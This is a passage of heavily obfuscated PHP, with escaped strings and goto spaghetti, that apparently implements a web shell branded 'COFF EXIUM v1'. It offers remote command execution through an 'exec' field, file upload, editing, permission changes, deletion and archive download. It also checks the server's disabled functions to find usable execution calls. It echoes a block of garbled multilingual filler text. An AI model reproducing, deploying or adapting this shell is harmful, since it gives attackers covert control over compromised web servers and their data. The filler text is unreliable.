0\x20\40\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\161\165\145\x72\171\x53\x65\x6c\145\x63\x74\157\162\101\154\154\x28\x27\146\x6f\162\155\133\x6d\x65\x74\150\157\144\x3d\42\x70\157\163\164\x22\135\x27\x29\x2e\x66\x6f\162\105\x61\143\x68\x28\146\x75\x6e\x63\x74\x69\157\156\x28\x66\157\162\155\51\40\x7b\xa\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x69\x66\x20\50\41\146\157\162\x6d\x2e\161\165\x65\162\171\x53\145\154\145\143\x74\x6f\162\x28\x27\151\x6e\160\x75\164\133\x6e\x61\155\x65\x3d\x22\x5f\143\163\x72\146\x5f\x74\157\x6b\x65\156\42\x5d\x27\51\x29\40\x7b\12\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x76\x61\x72\x20\x69\x20\x3d\x20\144\x6f\x63\165\155\145\x6e\164\56\143\x72\145\x61\x74\145\105\x6c\145\x6d\x65\x6e\164\50\47\x69\156\x70\165\164\47\x29\x3b\12\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x69\x2e\x74\x79\x70\x65\40\x3d\40\47\150\x69\x64\x64\x65\x6e\47\73\x20\x69\x2e\156\141\155\145\40\75\x20\47\x5f\x63\163\x72\x66\x5f\x74\157\153\145\x6e\47\73\40\151\x2e\166\141\x6c\x75\x65\x20\75\40\x74\157\x6b\145\x6e\x3b\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\146\x6f\162\x6d\56\x61\160\x70\x65\x6e\144\x43\150\x69\x6c\144\50\151\51\73\xa\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x7d\xa\x20\40\40\40\40\x20\40\40\40\40\x20\40\175\51\x3b\12\x20\40\40\40\40\40\40\40\175\51\x3b\12\x20\x20\40\40\74\57\x73\143\x72\151\160\x74\x3e\xa\74\x2f\x68\145\x61\144\x3e\12\x3c\x62\x6f\x64\171\x3e\12\74\144\151\166\x20\143\154\x61\x73\163\75\42\143\x6f\x6e\164\x61\x69\156\x65\162\x22\x3e\xa\x20\40\x20\x20\x3c\144\151\x76\x20\x63\x6c\141\163\x73\75\42\x68\x65\141\x64\x65\162\x22\76\xa\x20\40\x20\40\x20\x20\40\40\x3c\144\x69\166\x20\x63\154\x61\163\x73\x3d\x22\150\145\x61\x64\145\x72\55\x74\x6f\x70\42\76\xa\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x3c\x64\x69\x76\x20\143\x6c\x61\x73\163\x3d\x22\x6c\157\x67\x6f\42\x3e\12\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x3c\163\166\x67\40\x76\x69\x65\167\x42\x6f\x78\75\42\60\40\x30\40\x32\x34\x20\x32\x34\42\x20\146\x69\x6c\x6c\75\42\x6e\157\x6e\x65\42\40\x73\164\162\x6f\x6b\x65\x3d\42\x63\x75\162\x72\x65\x6e\164\x43\x6f\154\157\162\x22\x20\163\x74\x72\x6f\153\x65\x2d\167\x69\144\x74\150\75\x22\62\42\x3e\xa\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x3c\x70\x61\x74\x68\40\144\75\x22\x4d\x32\62\40\x31\71\x61\x32\40\62\x20\x30\x20\60\x20\x31\55\x32\x20\62\x48\64\x61\62\40\62\x20\60\x20\x30\40\x31\x2d\x32\x2d\62\x56\x35\141\x32\40\62\40\60\40\60\40\61\x20\x32\x2d\x32\x68\x35\154\x32\x20\x33\150\71\141\x32\40\x32\40\60\40\60\40\61\x20\x32\x20\x32\x7a\42\57\x3e\12\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\40\x3c\57\x73\x76\147\76\xa\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\74\x73\x70\141\x6e\40\x63\154\141\x73\x73\x3d\x22\154\x6f\x67\157\55\x74\145\x78\164\x22\x3e\103\x4f\106\106\74\x73\x70\141\x6e\76\105\x58\111\x55\x4d\74\57\163\x70\x61\x6e\76\40\x76\61\74\x2f\163\x70\x61\156\76\xa\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\74\x2f\x64\151\166\76\xa\40\40\40\x20\x20\40\40\x20\74\57\144\x69\166\76\12\x20\x20\x20\x20\x3c\x2f\x64\x69\166\x3e\12\xa\x20\x20\x20\40"; goto Gpwb2; mWm7b: header("\122\145\146\x65\x72\162\145\x72\55\x50\x6f\x6c\x69\143\x79\72\40\163\164\162\x69\x63\x74\55\x6f\162\151\x67\x69\156\x2d\167\150\x65\156\x2d\x63\x72\157\163\163\55\157\x72\151\147\151\x6e"); goto YKRuG; iT1Zx: Tt2lJ: goto jxIwu; Piju1: if ($Ppot1 !== false) { goto C_RqG; } goto mNzDF; fKCb_: aS41p: goto C1kPl; uGn2w: JXX8J: goto zece9; d5mlP: lmw7s: goto zamnz; zAvG0: TAku5: goto rYEe1; QsvK7: goto Z0Zso; goto m6fQ1; KswI8: goto JU3a6; goto o2_5X; E_Ukl: goto ZpS2T; goto HdXZW; Qolxq: rn5ra: goto VWDCC; DyTTr: goto OAlY9; goto qYkIn; zQVCP: goto zdjJz; goto knhdG; zZp20: HOxSt: goto hUU6u; hsdPT: FTnzh: goto QsvK7; Qnhe4: XZm8E: goto AFcxs; rxDY3: goto iP4jl; goto RoAdg; Cyxjp: goto jkkEG; goto TH5_a; Bk9Ea: wL4vx: goto BLqcS; bvpnF: goto CMTpo; goto JaFLk; zGQy6: DxaNF: goto ZKfgF; PTGa0: pyROx: goto ZycKj; h8WER: goto chcrQ; goto pW8L2; RINKq: goto K5okl; goto M0lkc; CKuy9: vEb7R: goto ncbSV; XEDkk: echo "\344\xb8\x8e\351\237\246\xe5\270\203\xe9\207\x8c\xe9\x97\276\346\206\224\346\202\xb4\xe4\xb8\223\344\270\x80\344\xb9\213\xe5\243\253\350\xbe\203\xe5\x85\266\xe6\257\253\xe5\216\x98\345\x88\x86\xe5\257\270\357\xbc\x8c\103\x72\145\x64\145\x20\151\x6e\x20\145\157\163\x20\161\165\x69\40\145\164\40\151\x6e\147\x65\156\151\165\x6d\x20\x65\x74\40\x6d\x61\147\x6e\x61\155\40\146\x61\143\x75\154\164\141\x74\x65\155\40\160\157\163\163\151\144\x65\156\164\xe9\x93\277\xe9\224\265\xe5\217\x91\351\207\221\xe7\237\xb3\xef\xbc\214\345\xb9\275\xe7\x9c\207\xe6\204\x9f\xe9\xac\xbc\xe7\245\x9e\103\162\145\x64\145\40\x69\x6e\x20\x65\157\x73\x20\x71\165\x69\40\145\x74\x20\x69\156\x67\145\156\151\165\x6d\40\x65\x74\x20\155\x61\147\156\x61\x6d\x20\146\141\143\165\154\164\141\164\x65\155\x20\x70\157\x73\163\151\x64\x65\156\x74\157\50\342\211\247\345\217\xa3\xe2\x89\xa6\51\x6f\xe3\x83\xbd\x28\52\xe3\200\x82\x3e\320\x94\xef\xbc\x8c\346\211\x8d\xe8\203\275\xe3\x81\250\xe5\204\252\343\202\x8c\343\201\237\350\203\xbd\xe5\x8a\233\xe3\x81\256\344\270\241\346\x96\xb9\xe3\x82\x92\345\205\274\xe3\x81\xad\xe5\x82\231\xe3\201\x88\343\x81\x9f\xe2\x9c\247\x28\xe2\x89\x96\40\342\227\241\x20\xe2\211\x96\342\234\277\x29\xe4\272\272\xe3\200\x85\343\x82\222\xe4\277\xa1\xe3\x81\230\xe3\x82\210\343\x81\x86\xe4\xb9\237\343\x80\x82\xe4\xb8\244\xe5\272\234\xe4\271\x8b\xe4\273\216\344\xba\213\344\xb8\216\xe9\x83\xa8\345\xb1\236\xe4\271\x8b\xe5\x90\217\xe5\xb1\236\350\200\214\xe5\222\214\xe4\xb9\213\357\274\214\xe8\213\237\xe5\x9c\250\xe7\274\226\xe8\200\x85\xef\274\214\345\222\xb8\xe5\217\xaf\xe8\247\x82\344\271\237\343\x80\202\346\211\x8d\350\203\275\343\x81\xa8\xe5\x84\xaa\343\202\214\xe3\201\x9f\xe8\x83\275\345\x8a\233\xe3\201\256\xe4\270\xa1\xe6\226\xb9\xe3\202\222\xe5\x85\xbc\xe3\x81\xad\xe5\x82\231\xe3\x81\210\343\x81\237\xe4\xba\xba\343\200\205\343\x82\222\344\xbf\xa1\xe3\201\x98\xe3\202\210\343\201\x86\xe5\256\x9c\344\xb9\x8e\xe6\226\xbd\xe4\xb9\x8b\344\xb9\x90\xe7\xab\xa0\357\274\214\347\272\252\xe8\xaf\xb8\345\x86\x8c\344\xb9\xa6\xe3\x80\x82\342\x80\x9d\344\273\x8e\344\272\x8b\346\233\260\xef\xbc\232\xe2\200\234\345\xad\220\344\271\213\xe8\xa8\x80\xe6\x98\257\xe4\271\x9f\xe3\x80\x82\346\x89\x8d\xe8\x83\275\xe3\x81\xa8\345\x84\xaa\xe3\202\214\343\201\237\xe8\x83\xbd\xe5\212\233\xe3\x81\xae\344\270\xa1\346\x96\xb9\343\x82\222\xe5\205\274\343\201\255\345\x82\x99\xe3\201\x88\343\201\x9f\344\272\272\xe3\x80\205\343\202\222\344\277\xa1\343\201\x98\xe3\202\x88\xe3\x81\x86\103\x72\145\144\x65\40\x69\156\x20\x65\157\x73\40\x71\165\151\x20\145\x74\x20\151\x6e\x67\145\x6e\x69\165\155\40\x65\x74\x20\x6d\141\x67\x6e\141\155\40\146\141\x63\x75\154\x74\x61\164\145\x6d\40\160\x6f\163\163\x69\x64\145\x6e\x74\xe2\x80\x9d\xe5\x91\x8a\xe4\xba\216\xe5\x85\254\357\274\214\xe4\xb9\xa6\344\273\245\xe4\270\272\xe3\x80\x8a\350\x8d\x86\350\xb0\255\351\x85\xac\345\224\xb1\350\257\x97\xe5\272\x8f\343\x80\213\343\x80\x82\12\12"; goto awA_u; C16IR: @ini_set("\163\x65\x73\163\151\x6f\156\x2e\143\157\x6f\x6b\x69\x65\137\x73\145\143\x75\162\145", "\x31"); goto kSvY3; YfJmg: goto VOcY7; goto dYb6o; vD2Bj: ejeY8: goto E7gL_; gXec3: kszEX: goto JZz8l; QCldM: gqWqL: goto KiYfV; hSNy_: j48jp: goto Bw4mH; n_t5R: K1BCG: goto ElyAK; PdH9z: goto YnLQi; goto BvwJL; yQocC: goto wlirf; goto iKwUo; g2is7: goto VXJ4X; goto OgkIv; hEJiX: http_response_code(403); goto K7mEx; PiCj5: goto rpnmk; goto iQZ04; gkg8d: xXuF2: goto zAS3d; ptH16: C_RqG: goto zCQC3; HA0ew: goto YDd7M; goto HhmG4; O7f2j: if (!($a_Vf4 === false)) { goto sqN_y; } goto RDmAG; sU30V: if (!($X9VNQ === false)) { goto m3T8g; } goto c8Stv; oBzor: $z1JY9 = "\106\x69\x6c\x65\40\143\162\x65\141\x74\x65\144"; goto CZlzQ; wpYZt: cWvVm: goto dZJbU; RtCkO: zdjJz: goto aQEdH; Z7jfc: goto hsd7Y; goto hnJJn; b85Sj: goto CWlGw; goto gxwEN; v0O41: bCqzB: goto dNZaE; Gpwb2: goto qCQ3e; goto DdF7a; q4jtV: hT7Rq: goto FyvIE; r73fK: IIArs: goto d0b2x; ueDhA: zF7q4: goto QdtK5; CNJyn: gt30o: goto M261j; l1CgT: goto HOxSt; goto IZkI0; EVXhE: goto FR1Ar; goto x330s; NncZM: if (isset($_POST["\144\x65\x6c\x5f\151\164\x65\155"])) { goto K42C4; } goto D6J3s; iqgRI: goto GtZV4; goto l1TI1; dbbHu: goto FEGW0; goto yTZuV; G2msd: echo "\x20\x20\40\40\x20\40\40\x20\74\x64\151\166\x20\143\154\x61\x73\x73\75\x22\x62\165\x6c\153\55\x62\141\162\42\x20\x69\x64\x3d\42\142\165\x6c\153\x2d\x61\x63\x74\x69\x6f\x6e\163\x22\76\xa\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\74\x73\160\141\156\x20\x63\154\141\163\163\75\42\x62\165\154\x6b\x2d\x63\157\x75\x6e\164\x22\40\x69\144\x3d\42\163\x65\x6c\x65\x63\164\x65\x64\55\143\x6f\x75\x6e\164\x22\x3e\60\40\163\x65\x6c\x65\143\164\x65\144\74\57\x73\x70\x61\x6e\x3e\xa\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\74\x62\165\x74\164\x6f\156\40\x74\171\x70\145\75\42\163\165\142\x6d\x69\x74\42\40\156\x61\x6d\x65\x3d\42\x61\x63\x74\x5f\144\x6c\x22\x20\143\x6c\x61\x73\163\x3d\x22\142\164\156\40\142\x74\x6e\x2d\147\150\x6f\x73\164\42\x20\157\156\x63\154\x69\143\x6b\75\x22\x72\145\x74\x75\x72\156\40\x63\x6f\156\146\151\x72\x6d\x28\47\104\157\x77\x6e\154\x6f\141\144\40\x73\145\x6c\145\143\x74\x65\144\40\x69\x74\x65\x6d\x73\40\x61\163\40\141\x72\143\x68\x69\166\x65\77\47\x29\x22\76\12\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\74\x73\166\147\40\x77\151\x64\164\x68\x3d\x22\61\66\42\40\150\x65\151\147\150\164\x3d\x22\61\66\42\x20\x76\x69\145\x77\102\157\170\x3d\42\60\x20\60\x20\x32\x34\40\x32\x34\x22\40\x66\151\154\x6c\x3d\42\x6e\x6f\x6e\x65\42\x20\x73\x74\x72\157\153\145\75\x22\x63\165\162\x72\x65\156\x74\103\157\x6c\x6f\x72\x22\x20\163\164\162\x6f\x6b\x65\x2d\167\151\x64\164\150\x3d\42\x32\x22\x3e\x3c\x70\x61\164\150\40\144\75\42\x4d\x32\x31\x20\61\65\x76\x34\x61\62\x20\62\x20\60\x20\x30\x20\x31\x2d\62\x20\62\110\x35\x61\x32\40\x32\40\x30\40\x30\40\61\x2d\62\x2d\x32\166\x2d\64\42\57\x3e\74\160\157\x6c\x79\154\x69\156\x65\40\x70\x6f\x69\156\164\163\75\42\x37\x20\x31\x30\40\61\62\x20\61\x35\40\x31\67\40\x31\60\42\x2f\76\74\x6c\x69\156\x65\40\170\x31\x3d\42\x31\x32\42\x20\171\x31\75\42\61\x35\42\x20\x78\62\x3d\x22\x31\x32\x22\x20\171\62\x3d\42\x33\x22\57\76\74\x2f\x73\166\147\x3e\xa\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\40\x20\x44\157\167\156\154\157\x61\144\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x3c\x2f\142\165\164\x74\x6f\156\x3e\12\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x3c\142\165\x74\x74\157\x6e\x20\164\x79\x70\145\x3d\x22\x73\165\x62\x6d\x69\x74\42\40\156\141\155\x65\75\42\141\143\164\137\x64\145\x6c\x22\x20\143\154\141\163\163\75\x22\x62\164\156\40\142\x74\156\x2d\144\141\156\x67\x65\x72\x22\40\x6f\x6e\143\x6c\x69\143\153\x3d\42\x72\x65\x74\x75\x72\156\40\x63\x6f\156\x66\x69\162\155\x28\47\104\145\x6c\145\164\145\40\x61\154\x6c\40\163\145\154\145\143\164\x65\x64\x20\151\x74\145\155\x73\x3f\x27\x29\x22\76\xa\x20\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x3c\163\166\147\x20\167\151\x64\164\150\75\42\61\66\x22\40\x68\x65\151\147\150\x74\x3d\x22\61\x36\42\40\166\x69\x65\x77\102\157\170\75\x22\60\x20\x30\40\x32\64\x20\62\64\42\x20\146\151\x6c\154\x3d\x22\156\x6f\156\x65\42\40\x73\164\162\157\153\145\75\42\x63\x75\162\162\145\x6e\x74\x43\157\154\x6f\x72\x22\40\163\x74\x72\x6f\x6b\x65\55\167\151\144\x74\150\75\42\x32\42\76\74\x70\x6f\x6c\x79\x6c\x69\x6e\145\x20\x70\157\x69\x6e\x74\163\x3d\42\x33\x20\x36\x20\x35\x20\x36\x20\x32\61\40\x36\42\x2f\x3e\x3c\x70\x61\164\150\40\x64\x3d\x22\115\61\x39\40\66\166\61\64\141\x32\40\62\x20\60\x20\x30\40\61\x2d\x32\x20\x32\110\67\x61\62\x20\62\x20\60\40\x30\40\x31\55\x32\x2d\x32\126\66\x6d\63\x20\60\x56\x34\x61\x32\40\x32\x20\60\x20\60\40\61\x20\x32\x2d\62\150\x34\x61\62\40\x32\40\x30\x20\x30\x20\x31\40\x32\40\62\166\62\x22\x2f\x3e\x3c\x2f\163\x76\x67\x3e\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\104\145\x6c\x65\164\x65\xa\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\74\x2f\142\165\x74\x74\157\156\76\xa\40\x20\40\40\40\x20\x20\x20\74\57\144\x69\166\76\xa\40\40\40\x20\74\x2f\146\157\x72\155\76\12\12\x20\x20\x20\40\74\144\x69\166\40\143\x6c\x61\163\163\x3d\42\143\141\x72\x64\42\76\xa\x20\x20\40\40\40\x20\40\40\x3c\144\151\166\x20\x63\154\141\163\163\75\42\143\x61\x72\x64\55\x68\145\141\x64\145\162\42\76\12\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\x3c\163\x70\141\x6e\x20\143\154\x61\x73\163\75\x22\143\x61\162\144\55\x74\x69\x74\154\145\x22\76\xa\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\74\x73\x76\x67\40\167\151\144\x74\150\75\x22\x31\66\x22\x20\x68\145\151\147\x68\x74\75\x22\61\66\x22\x20\166\x69\x65\x77\x42\157\x78\75\42\60\x20\x30\40\x32\64\40\62\x34\x22\40\x66\x69\154\x6c\x3d\42\x6e\x6f\x6e\x65\x22\40\163\164\162\x6f\153\145\75\42\x63\165\x72\162\145\156\x74\x43\x6f\x6c\x6f\162\x22\x20\163\x74\162\157\x6b\145\x2d\167\x69\x64\164\150\x3d\x22\x32\42\x3e\74\160\141\164\150\x20\x64\75\x22\x4d\62\x32\x20\x31\71\x61\x32\40\x32\x20\60\40\x30\40\61\55\62\x20\x32\110\x34\x61\x32\x20\62\40\x30\40\x30\x20\61\x2d\62\x2d\62\126\x35\x61\x32\x20\x32\x20\x30\40\x30\40\61\40\x32\55\62\x68\65\x6c\62\40\x33\x68\71\141\62\40\x32\x20\60\x20\60\x20\x31\40\62\40\62\172\x22\57\76\74\57\163\166\x67\x3e\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\106\x69\x6c\145\x73\12\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\74\57\163\x70\x61\156\76\xa\x20\40\40\40\40\x20\x20\40\40\40\40\x20\74\146\157\x72\x6d\x20\155\145\164\x68\x6f\144\75\42\x70\x6f\163\164\x22\40\163\x74\x79\x6c\x65\75\42\144\x69\163\160\154\141\171\72\151\x6e\x6c\x69\x6e\x65\73\x22\x3e\xa\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20"; goto c1vgo; nFNr_: rifaG: goto HwxYX; pGEQJ: ADy6K: goto f0XvK; nTqZV: goto hrXf6; goto KttGc; Qavpi: QL4eE: goto n6s7F; y2CN3: @ini_set("\x6c\157\147\x5f\145\x72\x72\x6f\x72\x73", "\61"); goto C_Q4D; psLIb: goto TAku5; goto As1nM; KhpXD: echo "\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\x3c\x69\x6e\x70\165\x74\40\164\171\x70\x65\75\42\x74\145\x78\164\42\x20\156\x61\155\145\x3d\42\155\x6b\137\x66\157\x6c\144\x65\x72\42\40\160\x6c\141\x63\145\x68\x6f\154\x64\x65\x72\75\x22\x4e\x65\167\40\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145\x2e\56\x2e\x22\40\163\164\x79\154\x65\x3d\42\146\x6c\x65\x78\x3a\40\61\73\x22\76\xa\40\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\74\142\165\164\164\157\156\40\143\154\x61\163\163\x3d\42\142\x74\156\40\142\164\x6e\x2d\163\x75\143\x63\x65\163\x73\x22\40\164\x79\x70\x65\x3d\42\163\x75\142\155\x69\164\42\x3e\106\157\x6c\144\145\x72\74\x2f\x62\165\x74\x74\x6f\156\x3e\12\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x3c\x2f\146\157\x72\155\x3e\12\x20\40\x20\x20\x20\40\40\40\40\40\40\40\x3c\57\144\x69\166\76\12\x20\40\x20\40\40\40\x20\x20\x3c\x2f\144\151\166\76\xa\x20\40\40\x20\x3c\x2f\144\151\166\x3e\xa\12\x20\40\40\x20"; goto WuhAU; MAuLm: QngqG: goto P9pQP; wf7CC: J2Ktw: goto uHbWi; KF2cf: W0KXz: goto bJxkC; RAtl9: rF2gT: goto wpUca; IJmQj: goto YeGhX; goto qY7gU; CKaFn: g01cE: goto zGp3c; OuJuC: kNVP3: goto y7Int; HAvJH: goto m8z27; goto YadCK; lhVse: rj3ka: goto ISH6W; Xm_mN: goto ar85N; goto bBIwR; AyuQx: goto Scy48; goto s8NGE; PwG5V: goto oFJ6K; goto HbrBs; CKVyP: goto FZDAi; goto ImhkW; U32ag: PpC2T: goto MLtEh; JqZMO: $z1JY9 = "\x44\151\x72\x65\x63\164\x6f\x72\x79\x20\x63\150\x61\156\147\x65\x64\40\x73\165\x63\x63\145\163\x73\146\165\154\154\171"; goto BfaMg; zrjxB: $yQU7y = array("\141\143\164\137\x64\x65\154", "\141\143\164\137\144\154", "\x6d\153\137\146\151\154\x65", "\x6d\153\x5f\x66\157\154\x64\x65\x72", "\144\x65\x6c\x5f\x69\164\x65\x6d", "\x66\x72\x6f\155\137\x6e\141\155\145", "\164\157\x5f\156\141\x6d\x65", "\163\145\x74\x5f\x70\x65\x72\x6d\x73", "\x70\145\162\x6d\x5f\166\x61\x6c", "\x65\144\151\x74\137\x66\151\154\145", "\143\157\156\x74\x65\x6e\164", "\147\145\164\x5f\146\151\154\x65", "\145\x78\x65\143", "\165\160\x6c\x6f\141\144\x5f\x61\144\166"); goto HA0ew; i24h1: http_response_code(400); goto YLNCv; Y4Add: if (!(@file_put_contents($Yy22r, '') !== false)) { goto XiO0q; } goto zBYX7; YHTWv: toNsk: goto gpizO; WS04G: if (!($_FILES["\x75\160\x6c\x6f\x61\x64"]["\x65\x72\x72\157\x72"] === UPLOAD_ERR_OK)) { goto PpC2T; } goto KmzvG; t63FD: @chmod($Yy22r, 0644); goto cnIq4; U1ghH: DXqbS: goto bQJnc; wDNKj: if (empty($et0TV) || !@is_dir($et0TV)) { goto My8wC; } goto Bu7gY; ILqzL: xAJuY: goto yWzuH; AuJvB: goto I6XXx; goto Roy8u; Hdv_D: goto s2STS; goto jqkiy; OqB1v: goto y7nn9; goto H_207; TYHv5: UKbri: goto dCmTg; hnVxB: goto CuTXk; goto NgxzR; HdXZW: rUVUP: goto moWLy; MXuo5: GR0UD: goto xJE2O; CGpNM: cHjy0: goto s6cl4; z15kc: if (strpos($zEfFD, "\56\56") !== false || strpos($zEfFD, "\57") !== false || strpos($zEfFD, "\134") !== false) { goto f28XE; } goto ifCJX; ETIv0: gk69h: goto NfI_2; kYdeg: echo DkzCY(); goto ZhlCf; M6jHu: goto m_7n3; goto BLSdS; qN9DH: SGmvx: goto phWAp; s8NGE: eFxTr: goto ramEb; zGp3c: goto f3dqu; goto UYlLq; RHbmC: goto Q5jxp; goto h3X4_; f4U1o: wQzf9: goto YclHI; m4OyU: goto t23vz; goto QIBJC; CcQwT: i10xK: goto N2P1R; lTDTW: EJob4: goto EFI0H; HhmG4: QM7Zu: goto GzqKv; a86RV: goto HKmcd; goto N3Hjx; kOVwO: goto dWouY; goto YRkQ1; utJ6e: if (@is_writable($_SESSION["\x63\165\162\162\145\156\164\137\x64\151\x72"])) { goto rz8Dx; } goto AHKKd; VfGx8: ohrUn: goto lOEa1; IYxDd: sX3lE: goto z15kc; N3Hjx: iSugR: goto s1JPr; bA3iZ: r5_RJ: goto TxPbH; Se0ux: Vm9lK: goto SXJFL; dEomg: $XiDxq = false; goto uPkCB; QdtK5: wsKzd: goto vP9tE; JK1QE: Gg077: goto Dc_Tw; J9LmD: echo DKzCy(); goto BZo4y; CeRqJ: goto SmyUm; goto fNAer; trEKx: ejG5h: goto WlKZj; n9q1K: goto VvDJ5; goto flXtF; SXJFL: iaFqD: goto Hdv_D; idCJD: goto u_7Gi; goto Bcg_T; Fuc8T: kiNra: goto OqS2y; OCmi7: goto lKi5I; goto AhewU; ZBpOq: SklXj: goto pwL3g; u4Wre: mfHpV: goto Oh7lu; t0Kb4: goto mfHpV; goto NrrgW; ZlLRQ: jDd1N: goto gpZOK; CUo4C: goto cWvVm; goto kDKsD; UE4N1: goto Zf8lX; goto fYvSB; oHQc0: $ooDUO = LcA48($H_eTv); goto W46ad; tlTK4: if (!@is_dir($Yvvjn)) { goto M0P_C; } goto tdsBZ; qxYID: XMeTa: goto n2Q6w; KiYfV: goto K2g1y; goto ypGoT; eKBhx: wLsfO: goto UQLI7; IvbiI: goto f5zth; goto zAvG0; yNMPI: $XqpLW = array(); goto xYCG4; TnMc6: EAW1G: goto nV0qT; KrMHa: goto jNGau; goto z1LnF; hXVJb: FzRKp: goto wENFU; mFV4U: YeGhX: goto NncZM; WP0KJ: JhuhT: goto cw3Qj; AyaPh: goto lbRni; goto wOIE1; qmApk: goto FxHSk; goto zKYse; YLNCv: goto M8ZOb; goto yVoFK; aQEdH: goto dRKiE; goto cOocp; TpL2r: goto WL_yV; goto u20ji; Iytm1: Tmf0F: goto q68Jw; TsvSV: goto RqSce; goto Qavpi; MqdC6: goto LZKf4; goto idCJD; vLysk: k51Wk: goto jZo0p; E1H5V: $UHrxO = true; goto S53BL; xzCyR: IZLfY: goto w3L6j; H3llu: if (@ob_get_level() > 0) { goto W23xc; } goto XI211; XSnQe: CyxbO: goto XBQ6W; zwFIz: goto OVB5a; goto cape9; PxHSE: goto Nv4mg; goto FEwNx; lcjD3: if ($gGqEA) { goto AFknU; } goto XsE0E; OgkIv: rTrvZ: goto ulqcN; jHnBP: CRWhl: goto qHK1Q; ebNAa: if (!($jLwb5 === false || !@is_file($jLwb5))) { goto zphMp; } goto iMTsd; i_FRU: goto YJM3H; goto PTGa0; oyvGN: goto PSVlq; goto BCVk6; UYlLq: MLZfn: goto q5fVu; riZ5d: MR6tp: goto ZI3VJ; JMKxz: JOitx: goto ahpbh; D55w0: goto abMlH; goto Yj2el; gf4T_: MLGcn: goto jnLRx; pOcFO: TfbIv: goto yJJYt; YE_F3: if (isset($_POST["\155\x6b\137\x66\151\x6c\145"]) && trim($_POST["\155\x6b\137\146\x69\x6c\x65"]) !== '') { goto ofE9R; } goto OIclC; X6X1z: exit("\103\x53\122\x46\40\x76\x61\x6c\151\x64\x61\x74\151\x6f\x6e\40\146\141\x69\154\x65\144"); goto z5jdN; yAENr: goto K2nd7; goto dzoRT; BqkIW: goto TL2M2; goto G4sFj; qai03: goto pGIlA; goto OQaWr; FmbAs: goto lmw7s; goto tmY9T; uJ2kg: if (isset($_POST["\145\170\x65\x63"]) && trim($_POST["\145\170\x65\x63"]) !== '') { goto v4dyO; } goto XTy1T; jC4ft: sqN_y: goto WAs0F; TT6e5: function VWTvb($WCvOs) { goto XLtsf; i6jIP: FtV48: goto RqT9U; AR2yg: xwYRu: goto txU0r; XLtsf: goto GW3kD; goto K3nYC; eqtAq: goto T00MP; goto OK90k; RbZ6a: y8Njr: goto A88M4; SMks1: goto wPwpj; goto a2rN9; SLnRe: goto wPp0R; goto WrHNx; P6lAM: goto y8Njr; goto vpB7P; pQamr: zEikY: goto fDnAv; OE6hZ: mAvLr: goto M0zx_; RqT9U: goto oOzfZ; goto Tgyns; OK90k: NyQNw: goto YYeo2; lojVQ: goto OKYY7; goto C0Cot; Uq1j_: goto XuLE_; goto i6jIP; kdi2Q: if (in_array(strtolower($WCvOs), $S4wCu)) { goto FtV48; } goto Uq1j_; Tgyns: wPp0R: goto l14Y9; V8U9_: goto NyQNw; goto dmwr5; RpaMA: goto WMzHO; goto cICWC; vpB7P: wPwpj: goto pQamr; N8WuC: goto jN44p; goto vMsAG; QIwT6: prU7V: goto THx6n; AdC3g: $S4wCu = array_map("\x74\162\x69\x6d", explode("\x2c", strtolower($O53Ca))); goto lojVQ; WrHNx: lD_N_: goto AMuqf; LIAh9: FKs3B: goto DUbae; kzjEz: $S4wCu = array_map("\x74\x72\x69\x6d", explode("\x2c", strtolower($cFjsX))); goto MdsDc; kZ4Dj: goto lD_N_; goto AR2yg; kqkNc: $cFjsX = @ini_get("\144\151\x73\x61\x62\154\x65\137\146\165\x6e\x63\164\x69\157\x6e\x73"); goto kZ4Dj; rNYcA: rVXQb: goto RpaMA; bCCLv: goto c6yjE; goto GvK35; Bnz1V: goto FKs3B; goto reBJA; RK1ZK: return true; goto P6lAM; DUbae: goto mAvLr; goto RbZ6a; fDnAv: goto c_Uz0; goto fJDW1; l14Y9: return false; goto bCCLv; YYeo2: if ($O53Ca) { goto rVXQb; } goto Z0knF; a2rN9: c6yjE: goto LIAh9; WMw7l: goto cJ2jh; goto QIwT6; cG_ec: oOzfZ: goto q4AOj; jTSna: goto qT_35; goto cG_ec; txU0r: if (in_array(strtolower($WCvOs), $S4wCu)) { goto xrxe0; } goto Bnz1V; vMsAG: c_Uz0: goto RK1ZK; AMuqf: if ($cFjsX) { goto prU7V; } goto WMw7l; dmwr5: T00MP: goto Tr2RS; q4AOj: return false; goto eqtAq; Tr2RS: XuLE_: goto SMks1; C0Cot: jN44p: goto M4BpJ; THx6n: goto x9Sx9; goto OE6hZ; BszfV: if (!function_exists($WCvOs)) { return false; } goto jTSna; M4BpJ: 